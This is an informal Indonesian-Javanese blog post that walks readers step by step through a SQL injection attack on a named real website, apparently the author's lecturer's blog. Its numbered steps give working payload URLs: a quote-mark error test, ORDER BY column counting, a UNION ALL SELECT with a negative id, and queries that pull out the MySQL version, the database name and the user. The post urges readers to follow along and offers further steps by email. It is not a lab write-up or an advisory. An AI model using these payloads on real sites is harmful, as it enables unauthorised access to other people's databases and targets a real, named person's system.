Ini adalah salah satu kesalahan script-ing (kethoke loh, lha kuliah web baru aj dimulai..)dari blog dosenq...
caranya sederhana sekali, pokoke intinya yang lagi genting saat ini adalah sql injection. Bagaimana dan mengapa?? ikuti caranya... hehehe
1. Cari alamat dari situs-ny pak Rosi yang menggunakan variabel dengan value angka. Misalkan http://rosihanari.net/tips.php?op=detail&id=27
nek selain angka, sepengetahuanku ndak isa... mungkin pengetahuan yang lain isa. Monggo....
2. Coba disamping angka itu kasih tanda petik. Seperti ini:
http://rosihanari.net/tips.php?op=detail&id=27'
Nek error berati ada kelemahan-e, nek ora yo ga ono...
3. Langsung mencari berapa kolom yang digunakan dalam tips.php itu.. dengan nggenerate 1 per satu dengan...
http://rosihanari.net/tips.php?op=detail&id=27 order by 1/*
harus-e nek betul, maka berita asline muncul. Nek masih error, maka ganti aja /* dengan --
4. Nah, ga error kan... Lanjut mulai mengubah angka 1 itu dengan angka berikutnya sampe error...
http://rosihanari.net/tips.php?op=detail&id=27 order by 2--
http://rosihanari.net/tips.php?op=detail&id=27 order by 3--
......
http://rosihanari.net/tips.php?op=detail&id=27 order by 7-- disini ada error-e....
5. Berati kolom yang dipake dalam tips.php itu ada 6 kolom (kolom 7 kan error jadi ga kepake)
6. Trus langsung aja mencari kolom yang digunakan sebenarnya kolom berapa sih... Caranya dengan mengubah id berita itu (value=27) dengan angka minus (-27)
7. Trus menuliskan dengan UNION ALL SELECT untuk menggabungkan semua kolom tersebut.
http://rosihanari.net/tips.php?op=detail&id=-27 UNION ALL SELECT 1,2,3,4,5,6--
8. Maka akan muncul angka2 ajaib.. nah angka2 itu salah satunya adalah yang digunakan tips.php untuk menampilkan berita... nek aku dhewe pilih yang kolom 3 aja... maka, angka 3 pada alamat tsb dirubah menjadi version() untuk mengetahui versi berapa mySql yang digunakan... hal ini penting untuk bisa lanjut ke langkah berikutnya...
http://rosihanari.net/tips.php?op=detail&id=-27 UNION ALL SELECT 1,2,version(),4,5,6--
9. Maka akan kelihatan versi-nya. Beruntunglah anda yang menemukan versi 5 keatas. karena hal ini anda ga perlu buang buang waktu untuk mencari tabel2 apa saja yang digunakan...
untuk mengetahui database-nya tinggal mengganti dengan database(), lalu nek pengin ngerti user-e pak rosi dengan user()...
10.Lanjut, wah ini dia... aku ga mau lanjutin ah... langsung aja PM ke godhongenom@yahoo.com... hehehe


1 komentar:
24 Februari 2009 16:16
thanks atas postingannya. Menarik sekali :-)
Poskan Komentar